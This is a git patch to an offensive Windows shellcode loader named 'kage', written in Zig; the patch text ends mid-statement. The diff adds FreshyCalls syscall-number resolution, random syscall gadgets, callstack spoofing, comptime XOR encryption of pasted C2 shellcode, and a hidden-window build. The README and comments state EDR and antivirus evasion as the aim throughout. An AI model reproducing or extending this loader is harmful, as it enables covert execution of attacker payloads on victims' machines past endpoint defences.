From f9eba1ed1b592b01a2d50532f61b20628296cfbe Mon Sep 17 00:00:00 2001 From: "JYenn (SISTA)" Date: Sat, 18 Jul 2026 09:30:07 +0100 Subject: [PATCH] kage: freshycalls + rand gadgets + stack spoof - freshycalls sorted export rva table instead of hells gate for SSNs - 64 syscall;ret gadgets in a pool, picks random via xorshift64 - hells_gate.s pushes fake ntdll return before syscall now - got rid of the 5 wrapper functions, just one syscall_dispatch - deleted win32.zig, using std.os.windows. named structs for peb - asm volatile and enum fixes so this compiles on zig 0.16 - build.zig: added .abi = .gnu, .Windows subsystem --- README.md | 35 ++---- build.zig | 19 ++- src/hells_gate.s | 13 ++ src/main.zig | 142 ++++++++++++---------- src/nt.zig | 10 ++ src/pe.zig | 52 +++++--- src/syscall.zig | 301 +++++++++++++++++++++++++++++++++++++++++------ src/win32.zig | 19 --- 8 files changed, 429 insertions(+), 162 deletions(-) create mode 100644 src/nt.zig delete mode 100644 src/win32.zig diff --git a/README.md b/README.md index 4085af0..8556cb6 100644 --- a/README.md +++ b/README.md @@ -6,33 +6,24 @@ > 影に潜む -Shellcode loader using indirect syscalls. Self-injection, jitter between steps. Also Windowless proccess. +Shellcode loader using indirect syscalls. Self-injection, FreshyCalls SSN extraction, random gadget pool, callstack spoofing, per-build XOR key, jitter. -## Build +## Why Zig + +Zig's build system handles everything: random XOR key generation, comptime shellcode encryption, cross-compilation. One command, no external tools needed. No CRT linked, minimal import table. ```bash -# 1. place your shellcode as valak.bin in this directory -# 2. compile: zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast # → zig-out/bin/kage.exe ``` -Single binary output, no external files needed at runtime. - -## Why Zig - -No CRT. C programs pull in the C Runtime Library which adds DLL imports to your IAT. Zig just calls the OS. Means less for AV to see. - -Detection engines mostly know C, C++, Rust, Go. Zig flies under the radar. Lower VirusTotal scores. - -Ghidra struggles with Zig binaries (there's an open bug for it). IDA doesn't properly support it either. Makes reverse engineering harder. - ## 仕掛け - **影探し** — ntdll via PEB walk (`gs:[0x60]`) -- **闇渡り** — indirect syscall dispatch -- **血判** — Hell's Gate SSN resolution -- **影纏い** — XOR-encoded asm dispatch globals +- **闇渡り** — indirect syscall dispatch (64 random gadgets) +- **血判** — FreshyCalls SSN extraction (sorted export RVA, immune to inline hooks) +- **封印** — comptime shellcode XOR with per-build 128-bit random key +- **影纏い** — XOR-encoded asm dispatch globals + callstack spoofing For evasion use [Valak](https://git.churchofmalware.org/JYenn/valak). @@ -40,11 +31,11 @@ For evasion use [Valak](https://git.churchofmalware.org/JYenn/valak). ``` src/ -├── main.zig entry, execution -├── win32.zig types & externs -├── pe.zig PE parser, export resolver -├── syscall.zig Hell's Gate extraction + PEB ntdll finder -├── hells_gate.s asm dispatch (XOR globals) +├── main.zig entry, unified syscall dispatch +├── nt.zig NT pseudo-handles not in stdlib +├── pe.zig PE parser, export resolver, section headers +├── syscall.zig PEB walk, FreshyCalls table, gadget pool, PRNG +├── hells_gate.s asm dispatch (XOR globals, stack spoof) build.zig ``` diff --git a/build.zig b/build.zig index dbeba0a..b439018 100644 --- a/build.zig +++ b/build.zig @@ -4,31 +4,38 @@ pub fn build(b: *std.Build) void { const target = b.standardTargetOptions(.{ .default_target = .{ .cpu_arch = .x86_64, .os_tag = .windows, + .abi = .gnu, } }); const optimize = b.standardOptimizeOption(.{}); + var key: [16]u8 = undefined; + var rng = std.Random.DefaultPrng.init(@intFromPtr(b)); + rng.random().bytes(&key); + const key_u128 = std.mem.readInt(u128, &key, .little); + + const options = b.addOptions(); + options.addOption(u128, "shellcode_key", key_u128); + const module = b.createModule(.{ .root_source_file = b.path("src/main.zig"), .target = target, .optimize = optimize, }); + module.addOptions("build_options", options); + module.addAssemblyFile(b.path("src/hells_gate.s")); const exe = b.addExecutable(.{ .name = "kage", .root_module = module, }); - - module.addAssemblyFile(b.path("src/hells_gate.s")); + // .Windows = no console window (stealth). Change to .Console for debug output. exe.subsystem = .Windows; b.installArtifact(exe); const run_cmd = b.addRunArtifact(exe); run_cmd.step.dependOn(b.getInstallStep()); - - if (b.args) |args| { - run_cmd.addArgs(args); - } + if (b.args) |args| run_cmd.addArgs(args); const run_step = b.step("run", "Run the loader"); run_step.dependOn(&run_cmd.step); diff --git a/src/hells_gate.s b/src/hells_gate.s index 389a329..0d105be 100644 --- a/src/hells_gate.s +++ b/src/hells_gate.s @@ -2,6 +2,7 @@ .data wSystemCallEnc: .long 0 qSyscallInsAddressEnc: .quad 0 + qFakeReturnEnc: .quad 0 wMask: .long 0xDEADBEEF qMask: .quad 0xDEADBEEFDEADBEEF @@ -14,6 +15,9 @@ hells_gate: mov dword ptr [rip + wSystemCallEnc], ecx xor rdx, qword ptr [rip + qMask] mov qword ptr [rip + qSyscallInsAddressEnc], rdx + mov rax, r8 + xor rax, qword ptr [rip + qMask] + mov qword ptr [rip + qFakeReturnEnc], rax ret hell_descent: @@ -22,4 +26,13 @@ hell_descent: xor eax, dword ptr [rip + wMask] mov r11, qword ptr [rip + qSyscallInsAddressEnc] xor r11, qword ptr [rip + qMask] + + mov rcx, r9 + mov r9, qword ptr [rip + qFakeReturnEnc] + xor r9, qword ptr [rip + qMask] + test r9, r9 + jz .Ldone + push r9 +.Ldone: + mov r9, rcx jmp r11 diff --git a/src/main.zig b/src/main.zig index 74bf7e9..a1329ad 100644 --- a/src/main.zig +++ b/src/main.zig @@ -1,24 +1,43 @@ +// hells gate shellcode loader. self-injection, per-build random xor key, peb walk. +// FreshyCalls SSN resolution + indirect syscalls with random gadget pool. const std = @import("std"); -const win = @import("win32.zig"); +const windows = std.os.windows; +const nt = @import("nt.zig"); const syscall = @import("syscall.zig"); +const build_options = @import("build_options"); const print = std.debug.print; +// 128-bit per-build xor key injected by build.zig via addOptions. +const key_bytes: [16]u8 = @bitCast(build_options.shellcode_key); var g_sys: syscall.Syscalls = undefined; -extern fn hells_gate(syscall_number: u32, address: usize) void; -extern fn hell_descent(arg1: usize, arg2: usize, arg3: usize, arg4: usize, arg5: usize, arg6: usize, arg7: usize, arg8: usize, arg9: usize, arg10: usize, arg11: usize) win.NTSTATUS; +// logging helpers. +fn ok(comptime fmt: []const u8, args: anytype) void { + print("[+] " ++ fmt ++ "\n", args); +} +fn info(comptime fmt: []const u8, args: anytype) void { + print("[*] " ++ fmt ++ "\n", args); +} +fn err(comptime fmt: []const u8, args: anytype) void { + print("[-] " ++ fmt ++ "\n", args); +} -fn ok(comptime fmt: []const u8, args: anytype) void { print("[+] " ++ fmt ++ "\n", args); } -fn info(comptime fmt: []const u8, args: anytype) void { print("[*] " ++ fmt ++ "\n", args); } -fn err(comptime fmt: []const u8, args: anytype) void { print("[-] " ++ fmt ++ "\n", args); } - -const shellcode = @embedFile("../valak.bin"); +// paste your shellcode bytes here. any c2 framework works. +// encrypted at comptime with the per-build xor key from build.zig. +const shellcode = init: { + const raw = [_]u8{ + // Paste your shellcode bytes here. + }; + var encoded: [raw.len]u8 = undefined; + for (&raw, 0..) |b, i| encoded[i] = b ^ key_bytes[i % key_bytes.len]; + break :init encoded; +}; fn banner() void { print( - \\ Kage — shellcode loader - \\ Author: JYenn + \\ Kage - shellcode loader + \\ Author: JYenn (SISTA) \\ , .{}); } @@ -27,90 +46,85 @@ pub fn main() void { banner(); if (shellcode.len == 0) { - err("no shellcode embedded", .{}); + err("no shellcode embedded, paste your shellcode bytes in main.zig", .{}); return; } + // resolve syscall SSNs and gadgets via peb walk + FreshyCalls. g_sys = syscall.Syscalls.resolve() orelse { err("failed to resolve syscalls", .{}); return; }; ok("syscalls resolved via PEB walk", .{}); - const current_process: win.HANDLE = win.NtCurrentProcess; + const current_process: windows.HANDLE = nt.NtCurrentProcess; var base_addr: ?*anyopaque = null; - var size: win.SIZE_T = shellcode.len; + var size: windows.SIZE_T = shellcode.len; - const status = ntAllocateVirtualMemory(current_process, &base_addr, 0, &size, win.MEM_COMMIT | win.MEM_RESERVE, win.PAGE_READWRITE); - if (!win.NT_SUCCESS(status)) { + // allocate RW memory. + const status: windows.NTSTATUS = @enumFromInt(@as(u32, @truncate(syscall.syscall_dispatch( + g_sys.NtAllocateVirtualMemory.number, + &[_]usize{ + @intFromPtr(current_process), @intFromPtr(&base_addr), 0, + @intFromPtr(&size), windows.MEM_COMMIT | windows.MEM_RESERVE, windows.PAGE_READWRITE, + }, + 6, + )))); + if (!nt.NT_SUCCESS(status)) { err("NtAllocateVirtualMemory failed: 0x{X}", .{@as(u32, @bitCast(status))}); return; } ok("allocated {d} bytes at 0x{X}", .{ size, @intFromPtr(base_addr) }); jitter(10, 50); + // copy encrypted shellcode and decrypt in-place. const buffer: [*]u8 = @ptrCast(base_addr); @memcpy(buffer[0..shellcode.len], &shellcode); - info("shellcode loaded ({d} bytes)", .{shellcode.len}); + for (buffer[0..shellcode.len], 0..) |*b, i| b.* ^= key_bytes[i % key_bytes.len]; + info("shellcode decrypted ({d} bytes, {d}-byte XOR key)", .{ shellcode.len, key_bytes.len }); jitter(10, 30); - var old_protect: win.ULONG = 0; - _ = ntProtectVirtualMemory(current_process, &base_addr, &size, win.PAGE_EXECUTE_READ, &old_protect); + // rw → rx. + var old_protect: windows.ULONG = 0; + _ = syscall.syscall_dispatch( + g_sys.NtProtectVirtualMemory.number, + &[_]usize{ + @intFromPtr(current_process), @intFromPtr(&base_addr), + @intFromPtr(&size), windows.PAGE_EXECUTE_READ, @intFromPtr(&old_protect), + }, + 5, + ); ok("memory protected to RX", .{}); jitter(5, 15); - var thread_handle: win.HANDLE = undefined; - _ = ntCreateThreadEx(&thread_handle, win.THREAD_ALL_ACCESS, null, current_process, @ptrFromInt(@intFromPtr(base_addr)), null, 0, 0, 0, 0, null); + // spawn thread at shellcode entry. + var thread_handle: windows.HANDLE = undefined; + _ = syscall.syscall_dispatch( + g_sys.NtCreateThreadEx.number, + &[_]usize{ + @intFromPtr(&thread_handle), windows.THREAD_ALL_ACCESS, 0, + @intFromPtr(current_process), @intFromPtr(@intFromPtr(base_addr)), 0, + 0, 0, 0, 0, 0, + }, + 11, + ); ok("thread created, waiting for completion", .{}); - _ = ntWaitForSingleObject(thread_handle, false, null); -} - -fn ntAllocateVirtualMemory(process: win.HANDLE, base: *?*anyopaque, zero: win.ULONG_PTR, size: *win.SIZE_T, alloc: win.ULONG, prot: win.ULONG) win.NTSTATUS { - const entry = g_sys.NtAllocateVirtualMemory; - hells_gate(entry.number, @intFromPtr(entry.gadget)); - return hell_descent( - @intFromPtr(process), @intFromPtr(base), zero, @intFromPtr(size), alloc, prot, - 0, 0, 0, 0, 0, + _ = syscall.syscall_dispatch( + g_sys.NtWaitForSingleObject.number, + &[_]usize{ @intFromPtr(thread_handle), 0, 0 }, + 3, ); } -fn ntProtectVirtualMemory(process: win.HANDLE, base: *?*anyopaque, size: *win.SIZE_T, new_prot: win.ULONG, old_prot: *win.ULONG) win.NTSTATUS { - const entry = g_sys.NtProtectVirtualMemory; - hells_gate(entry.number, @intFromPtr(entry.gadget)); - return hell_descent( - @intFromPtr(process), @intFromPtr(base), @intFromPtr(size), new_prot, @intFromPtr(old_prot), - 0, 0, 0, 0, 0, 0, - ); -} - -fn ntCreateThreadEx(handle: *win.HANDLE, access: win.ACCESS_MASK, attrs: ?*win.OBJECT_ATTRIBUTES, process: win.HANDLE, start: ?*anyopaque, arg: ?*anyopaque, flags: win.ULONG, zero: win.SIZE_T, stack: win.SIZE_T, max_stack: win.SIZE_T, list: ?*anyopaque) win.NTSTATUS { - const entry = g_sys.NtCreateThreadEx; - hells_gate(entry.number, @intFromPtr(entry.gadget)); - return hell_descent( - @intFromPtr(handle), access, @intFromPtr(attrs), @intFromPtr(process), @intFromPtr(start), - @intFromPtr(arg), flags, zero, stack, max_stack, @intFromPtr(list), - ); -} - -fn ntWaitForSingleObject(handle: win.HANDLE, alertable: bool, timeout: ?*win.LARGE_INTEGER) win.NTSTATUS { - const entry = g_sys.NtWaitForSingleObject; - hells_gate(entry.number, @intFromPtr(entry.gadget)); - return hell_descent( - @intFromPtr(handle), @intFromBool(alertable), @intFromPtr(timeout), - 0, 0, 0, 0, 0, 0, 0, 0, - ); -} - -fn ntDelayExecution(alertable: bool, interval: *const win.LARGE_INTEGER) win.NTSTATUS { - const entry = g_sys.NtDelayExecution; - hells_gate(entry.number, @intFromPtr(entry.gadget)); - return hell_descent(@intFromBool(alertable), @intFromPtr(interval), 0, 0, 0, 0, 0, 0, 0, 0, 0); -} - +// pseudorandom sleep between stages. not crypto, just noise. fn jitter(min_ms: u64, max_ms: u64) void { - var interval = win.LARGE_INTEGER{ + var interval = windows.LARGE_INTEGER{ .QuadPart = -@as(i64, @intCast(min_ms * 10000 + (@as(u64, @intFromPtr(&min_ms)) % ((max_ms - min_ms + 1) * 10000)))), }; - _ = ntDelayExecution(false, &interval); + _ = syscall.syscall_dispatch( + g_sys.NtDelayExecution.number, + &[_]usize{ 0, @intFromPtr(&interval) }, + 2, + ); } diff --git a/src/nt.zig b/src/nt.zig new file mode 100644 index 0000000..e3c502f --- /dev/null +++ b/src/nt.zig @@ -0,0 +1,10 @@ +// nt pseudo-handles not in std.os.windows. +const windows = @import("std").os.windows; + +// from phnt: NtCurrentProcess = (HANDLE)-1, NtCurrentThread = (HANDLE)-2 +pub const NtCurrentProcess: windows.HANDLE = @ptrFromInt(@as(usize, @bitCast(@as(i64, -1)))); +pub const NtCurrentThread: windows.HANDLE = @ptrFromInt(@as(usize, @bitCast(@as(i64, -2)))); + +pub inline fn NT_SUCCESS(status: windows.NTSTATUS) bool { + return @intFromEnum(status) >= 0; +} diff --git a/src/pe.zig b/src/pe.zig index d2a3014..809d56c 100644 --- a/src/pe.zig +++ b/src/pe.zig @@ -1,3 +1,4 @@ +// PE structures for export directory parsing. Used by syscall.zig to resolve SSNs. const std = @import("std"); pub const IMAGE_DOS_HEADER = extern struct { @@ -70,6 +71,28 @@ pub const IMAGE_OPTIONAL_HEADER64 = extern struct { DataDirectory: [16]IMAGE_DATA_DIRECTORY, }; +pub const IMAGE_NT_HEADERS = IMAGE_NT_HEADERS64; + +pub const IMAGE_NT_HEADERS64 = extern struct { + Signature: u32, + FileHeader: IMAGE_FILE_HEADER, + OptionalHeader: IMAGE_OPTIONAL_HEADER64, +}; + +// needed for FreshyCalls table + gadget pool scan. +pub const IMAGE_SECTION_HEADER = extern struct { + Name: [8]u8, + VirtualSize: u32, + VirtualAddress: u32, + SizeOfRawData: u32, + PointerToRawData: u32, + PointerToRelocations: u32, + PointerToLinenumbers: u32, + NumberOfRelocations: u16, + NumberOfLinenumbers: u16, + Characteristics: u32, +}; + pub const IMAGE_EXPORT_DIRECTORY = extern struct { Characteristics: u32, TimeDateStamp: u32, @@ -84,31 +107,30 @@ pub const IMAGE_EXPORT_DIRECTORY = extern struct { AddressOfNameOrdinals: u32, }; -const IMAGE_NT_HEADERS64 = extern struct { - Signature: u32, - FileHeader: IMAGE_FILE_HEADER, - OptionalHeader: IMAGE_OPTIONAL_HEADER64, -}; - +// walk the export directory of a PE module, find a named export, return its address. pub fn findExport(dll_base: [*]u8, name: []const u8) ?[*]u8 { - const dos = @as(*IMAGE_DOS_HEADER, @ptrCast(@alignCast(dll_base))); + const dos = @as(*const IMAGE_DOS_HEADER, @ptrCast(@alignCast(dll_base))); if (dos.e_magic != 0x5A4D) return null; - const nt_hdrs = @as(*IMAGE_NT_HEADERS64, @ptrCast(@alignCast(dll_base + @as(usize, @intCast(dos.e_lfanew))))); + const nt_hdrs = @as(*const IMAGE_NT_HEADERS64, @ptrCast(@alignCast( + dll_base + @as(usize, @intCast(dos.e_lfanew)), + ))); if (nt_hdrs.Signature != 0x00004550) return null; - const export_dir = nt_hdrs.OptionalHeader.DataDirectory[0]; - if (export_dir.VirtualAddress == 0) return null; + const export_dir_rva = nt_hdrs.OptionalHeader.DataDirectory[0]; + if (export_dir_rva.VirtualAddress == 0) return null; - const exp = @as(*IMAGE_EXPORT_DIRECTORY, @ptrCast(@alignCast(dll_base + export_dir.VirtualAddress))); + const exp = @as(*const IMAGE_EXPORT_DIRECTORY, @ptrCast(@alignCast( + dll_base + @as(usize, @intCast(export_dir_rva.VirtualAddress)), + ))); - const names = @as([*]u32, @ptrCast(@alignCast(dll_base + exp.AddressOfNames))); - const funcs = @as([*]u32, @ptrCast(@alignCast(dll_base + exp.AddressOfFunctions))); - const ords = @as([*]u16, @ptrCast(@alignCast(dll_base + exp.AddressOfNameOrdinals))); + const names = @as([*]const u32, @ptrCast(@alignCast(dll_base + exp.AddressOfNames))); + const funcs = @as([*]const u32, @ptrCast(@alignCast(dll_base + exp.AddressOfFunctions))); + const ords = @as([*]const u16, @ptrCast(@alignCast(dll_base + exp.AddressOfNameOrdinals))); var i: u32 = 0; while (i < exp.NumberOfNames) : (i += 1) { - const export_name_ptr = @as([*:0]u8, @ptrCast(dll_base + names[i])); + const export_name_ptr = @as([*:0]const u8, @ptrCast(dll_base + names[i])); const export_name = std.mem.sliceTo(export_name_ptr, 0); if (std.mem.eql(u8, export_name, name)) { diff --git a/src/syscall.zig b/src/syscall.zig index 877240a..3b96e75 100644 --- a/src/syscall.zig +++ b/src/syscall.zig @@ -1,4 +1,7 @@ +// peb walk, gadget pool scan, FreshyCalls SSN table. const std = @import("std"); +const windows = std.os.windows; +const nt = @import("nt.zig"); const pe = @import("pe.zig"); pub const Entry = struct { @@ -6,6 +9,8 @@ pub const Entry = struct { gadget: *anyopaque, }; +// all resolved syscalls. resolve() peb-walks ntdll, builds freshy table, +// scans for gadgets, cracks each syscall. pub const Syscalls = struct { NtAllocateVirtualMemory: Entry, NtProtectVirtualMemory: Entry, @@ -15,6 +20,10 @@ pub const Syscalls = struct { pub fn resolve() ?Syscalls { const ntdll = findNtdll() orelse return null; + seed_prng(); + scan_gadget_pool(ntdll) orelse return null; + build_freshy_table(ntdll); + const names = [_][]const u8{ "NtAllocateVirtualMemory", "NtProtectVirtualMemory", @@ -22,59 +31,279 @@ pub const Syscalls = struct { "NtWaitForSingleObject", "NtDelayExecution", }; - var result: Syscalls = undefined; + var result = Syscalls{ + .NtAllocateVirtualMemory = undefined, + .NtProtectVirtualMemory = undefined, + .NtCreateThreadEx = undefined, + .NtWaitForSingleObject = undefined, + .NtDelayExecution = undefined, + }; inline for (names) |name| { - const entry = extractEntry(ntdll, name) orelse return null; - @field(result, name) = entry; + const ssn = extract_ssn(hash_ror13(name)) orelse return null; + @field(result, name) = Entry{ .number = ssn, .gadget = @ptrFromInt(g_syscall_addrs[0]) }; } return result; } }; +// ---- state ---- + +var g_syscall_addrs: [64]usize = [_]usize{0} ** 64; +var g_syscall_count: usize = 0; +var g_ntdll_base: ?*anyopaque = null; +var g_fake_return_addr: usize = 0; +var g_rand_state: u64 = 0; + +// FreshyCalls table: ntdll Nt* exports sorted by RVA. SSN = sort position. +const FRESHY_MAX: usize = 1024; +const FreshyEntry = struct { hash: u32, rva: u32 }; +var g_freshy_entries: [FRESHY_MAX]FreshyEntry = undefined; +var g_freshy_count: usize = 0; +var g_freshy_ready: bool = false; + +// ---- ror13 hash (case-insensitive, used by FreshyCalls + fallback) ---- +fn hash_ror13(input: []const u8) u32 { + var hash: u32 = 0; + for (input) |c| { + var c_upper = c; + if (c_upper >= 'a' and c_upper <= 'z') c_upper -= 32; + hash = (hash >> 13) | (hash << 19); + hash +%= c_upper; + } + return hash; +} + +// ---- prng ---- + +fn xorshift64() u64 { + var s = g_rand_state; + s ^= s << 13; + s ^= s >> 7; + s ^= s << 17; + g_rand_state = s; + return s; +} + +fn seed_prng() void { + var stack_var: u64 = 0; + g_rand_state = @as(u64, @truncate(@intFromPtr(&stack_var))); +} + +// ---- peb walk ---- + +const PEB = extern struct { + reserved1: [2]u8, + being_debugged: u8, + reserved2: u8, + reserved3: [2]*anyopaque, + ldr: *PEB_LDR_DATA, +}; + +const PEB_LDR_DATA = extern struct { + length: u32, + initialized: u8, + reserved: [3]u8, + ss_handle: *anyopaque, + in_load_order_module_list: LIST_ENTRY, + in_memory_order_module_list: LIST_ENTRY, + in_initialization_order_module_list: LIST_ENTRY, +}; + +const LIST_ENTRY = extern struct { + flink: *LIST_ENTRY, + blink: *LIST_ENTRY, +}; + +const LDR_DATA_TABLE_ENTRY = extern struct { + in_load_order_links: LIST_ENTRY, + in_memory_order_links: LIST_ENTRY, + in_initialization_order_links: LIST_ENTRY, + dll_base: *anyopaque, + entry_point: *anyopaque, + size_of_image: u32, + full_dll_name: extern struct { length: u16, maximum_length: u16, buffer: [*]u16 }, + base_dll_name: extern struct { length: u16, maximum_length: u16, buffer: [*]u16 }, +}; + fn findNtdll() ?[*]u8 { - var peb: usize = undefined; - asm volatile ("movq %%gs:0x60, %[r]" - : [r] "=r" (peb), + const peb_addr: usize = asm volatile ("mov %%gs:0x60, %[r]" + : [r] "=r" (-> usize), ); - const ldr = @as(*align(1) usize, @ptrFromInt(peb + 0x18)).*; - const head = ldr + 0x10; - var entry = @as(*align(1) usize, @ptrFromInt(head)).*; - while (entry != head) : (entry = @as(*align(1) usize, @ptrFromInt(entry)).*) { - const base = @as(*align(1) usize, @ptrFromInt(entry + 0x30)).*; - if (base == 0) continue; - const dos = @as(*align(1) extern struct { pad: [0x3C]u8, e_lfanew: u32 }, @ptrFromInt(base)); - const nt = @as(*align(1) extern struct { - Signature: u32, - FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, - OptionalHeader: extern struct { Magic: u16, pad: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } }, - }, @ptrFromInt(base + @as(usize, @intCast(dos.e_lfanew)))); - if (nt.Signature != 0x00004550) continue; - const exp_dir = nt.OptionalHeader.DataDirectory[0]; + const peb_ptr = @as(*const PEB, @ptrFromInt(peb_addr)); + const head = &peb_ptr.ldr.in_memory_order_module_list; + + var entry = head.flink; + while (entry != head) : (entry = entry.flink) { + const mod: *LDR_DATA_TABLE_ENTRY = @fieldParentPtr("in_memory_order_links", entry); + if (@intFromPtr(mod.dll_base) == 0) continue; + + const dos = @as(*align(1) const pe.IMAGE_DOS_HEADER, @ptrFromInt(@intFromPtr(mod.dll_base))); + if (dos.e_magic != 0x5A4D) continue; + + const nt_hdrs = @as(*align(1) const pe.IMAGE_NT_HEADERS, @ptrFromInt( + @intFromPtr(mod.dll_base) + @as(usize, @intCast(dos.e_lfanew)), + )); + if (nt_hdrs.Signature != 0x00004550) continue; + + const exp_dir = nt_hdrs.OptionalHeader.DataDirectory[0]; if (exp_dir.VirtualAddress == 0) continue; - const exp = @as(*align(1) extern struct { Characteristics: u32, pad: [8]u8, Name: u32, pad2: [40]u8 }, @ptrFromInt(base + @as(usize, @intCast(exp_dir.VirtualAddress)))); - const name = @as([*:0]const u8, @ptrFromInt(base + @as(usize, @intCast(exp.Name)))); - if (std.mem.eql(u8, std.mem.sliceTo(name, 0), "ntdll.dll")) return @ptrFromInt(base); + + const exp = @as(*align(1) const pe.IMAGE_EXPORT_DIRECTORY, @ptrFromInt( + @intFromPtr(mod.dll_base) + @as(usize, @intCast(exp_dir.VirtualAddress)), + )); + const name_ptr = @as([*:0]const u8, @ptrFromInt( + @intFromPtr(mod.dll_base) + @as(usize, @intCast(exp.Name)), + )); + if (std.mem.eql(u8, std.mem.sliceTo(name_ptr, 0), "ntdll.dll")) { + g_ntdll_base = @ptrFromInt(@intFromPtr(mod.dll_base)); + return @ptrFromInt(@intFromPtr(mod.dll_base)); + } } return null; } -fn extractEntry(ntdll: [*]u8, name: []const u8) ?Entry { - const addr = pe.findExport(ntdll, name) orelse return null; - const bytes = @as([*]u8, @ptrCast(addr)); +// ---- gadget pool ---- - if (bytes[0] != 0x4C or bytes[1] != 0x8B or bytes[2] != 0xD1) return null; - if (bytes[3] != 0xB8) return null; - const number = std.mem.readInt(u32, bytes[4..8], .little); +fn scan_gadget_pool(ntdll_base: ?*anyopaque) ?void { + const base = ntdll_base orelse return null; + const base_bytes: [*]const u8 = @ptrCast(base); + const dos = @as(*align(1) const pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(base_bytes))); + if (dos.e_magic != 0x5A4D) return null; - var gadget: ?*anyopaque = null; - var i: usize = 0; - while (i < 64) : (i += 1) { - if (bytes[i] == 0x0F and bytes[i + 1] == 0x05 and bytes[i + 2] == 0xC3) { - gadget = @ptrFromInt(@intFromPtr(addr) + i); + const nt_hdrs = @as(*align(1) const pe.IMAGE_NT_HEADERS, @ptrCast(@alignCast( + base_bytes + @as(usize, @intCast(dos.e_lfanew)), + ))); + if (nt_hdrs.Signature != 0x00004550) return null; + + const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64); + const sections = @as([*]align(1) const pe.IMAGE_SECTION_HEADER, @ptrCast(@alignCast( + @as([*]u8, @ptrCast(@constCast(base_bytes))) + section_off, + ))); + + var text_va: usize = 0; + var text_size: usize = 0; + for (0..nt_hdrs.FileHeader.NumberOfSections) |si| { + const sec = §ions[si]; + if (std.mem.eql(u8, sec.Name[0..5], ".text") and sec.Name[5] == 0) { + text_va = sec.VirtualAddress; + text_size = sec.VirtualSize; break; } } - if (gadget == null) return null; + if (text_va == 0 or text_size == 0) return null; - return Entry{ .number = number, .gadget = gadget.? }; + g_syscall_count = 0; + var j: usize = text_va; + const scan_end: usize = text_va + text_size; + while (j < scan_end - 3 and g_syscall_count < g_syscall_addrs.len) : (j += 1) { + // syscall; ret = 0F 05 C3 + if (base_bytes[j] == 0x0F and base_bytes[j + 1] == 0x05 and base_bytes[j + 2] == 0xC3) { + g_syscall_addrs[g_syscall_count] = @intFromPtr(&base_bytes[j]); + g_syscall_count += 1; + } + // standalone ret for callstack spoofing (not part of syscall;ret) + if (g_fake_return_addr == 0 and base_bytes[j] == 0xC3) { + if (j < 2 or base_bytes[j - 2] != 0x0F or base_bytes[j - 1] != 0x05) { + g_fake_return_addr = @intFromPtr(&base_bytes[j]); + } + } + } + if (g_syscall_count == 0) return null; +} + +// ---- freshycalls ---- + +fn build_freshy_table(ntdll_base: ?*anyopaque) void { + const base = ntdll_base orelse return; + const base_bytes: [*]u8 = @ptrCast(base); + const dos = @as(*align(1) const pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(base_bytes))); + if (dos.e_magic != 0x5A4D) return; + + const nt_hdrs = @as(*align(1) const pe.IMAGE_NT_HEADERS, @ptrCast(@alignCast( + base_bytes + @as(usize, @intCast(dos.e_lfanew)), + ))); + if (nt_hdrs.Signature != 0x00004550) return; + + const export_dir = nt_hdrs.OptionalHeader.DataDirectory[0]; + if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return; + + const exp = @as(*align(1) const pe.IMAGE_EXPORT_DIRECTORY, @ptrCast(@alignCast( + base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)), + ))); + if (exp.NumberOfNames == 0) return; + + const names = @as([*]align(1) const u32, @ptrCast(@alignCast( + base_bytes + @as(usize, @intCast(exp.AddressOfNames)), + ))); + const funcs = @as([*]align(1) const u32, @ptrCast(@alignCast( + base_bytes + @as(usize, @intCast(exp.AddressOfFunctions)), + ))); + const ords = @as([*]align(1) const u16, @ptrCast(@alignCast( + base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals)), + ))); + + g_freshy_count = 0; + const export_dir_end = export_dir.VirtualAddress + export_dir.Size; + var i: u32 = 0; + while (i < exp.NumberOfNames and g_freshy_count < FRESHY_MAX) : (i += 1) { + const name_ptr = @as([*:0]const u8, @ptrCast(@alignCast( + base_bytes + @as(usize, @intCast(names[i])), + ))); + const name = std.mem.sliceTo(name_ptr, 0); + if (name.len < 2 or name[0] != 'N' or name[1] != 't') continue; + + const ordinal = ords[i]; + if (ordinal >= exp.NumberOfFunctions) continue; + const rva = funcs[ordinal]; + if (rva >= export_dir.VirtualAddress and rva < export_dir_end) continue; + + g_freshy_entries[g_freshy_count] = FreshyEntry{ .hash = hash_ror13(name), .rva = rva }; + g_freshy_count += 1; + } + + std.mem.sort(FreshyEntry, g_freshy_entries[0..g_freshy_count], {}, struct { + fn lt(_: void, a: FreshyEntry, b: FreshyEntry) bool { return a.rva < b.rva; } + }.lt); + g_freshy_ready = true; +} + +// Extract SSN from FreshyCalls table. Immune to inline hooks — +// EDRs can't change the linker's RVA order in the PE export table. +fn extract_ssn(func_hash: u32) ?u16 { + if (!g_freshy_ready) return null; + for (0..g_freshy_count) |i| { + if (g_freshy_entries[i].hash == func_hash) return @as(u16, @intCast(i)); + } + return null; +} + +// ---- unified dispatch (replaces 5 wrapper functions in main.zig) ---- + +extern fn hells_gate(ssn: u32, syscall_addr: usize, fake_return: usize) void; +extern fn hell_descent( + a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, + a6: usize, a7: usize, a8: usize, a9: usize, a10: usize, a11: usize, +) usize; + +// pick a random gadget from the pool and dispatch the syscall. +// callstack spoofing: pushes a fake ret from ntdll so the kernel sees ntdll frames. +pub fn syscall_dispatch(ssn: u32, args: [*]const usize, arg_count: usize) usize { + const idx = @as(usize, @truncate(xorshift64())) % g_syscall_count; + const gadget = g_syscall_addrs[idx]; + const fake: usize = if (arg_count < 5) g_fake_return_addr else 0; + hells_gate(ssn, gadget, fake); + const a = [11]usize{ + if (arg_count > 0) args[0] else 0, + if (arg_count > 1) args[1] else 0, + if (arg_count > 2) args[2] else 0, + if (arg_count > 3) args[3] else 0, + if (arg_count > 4) args[4] else 0, + if (arg_count > 5) args[5] else 0, + if (arg_count > 6) args[6] else 0, + if (arg_count > 7) args[7] else 0, + if (arg_count > 8) args[8] else 0, + if (arg_count > 9) args[9] else 0, + if (arg_count > 10) args[10] else 0, + }; + return hell_descent(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8], a[9], 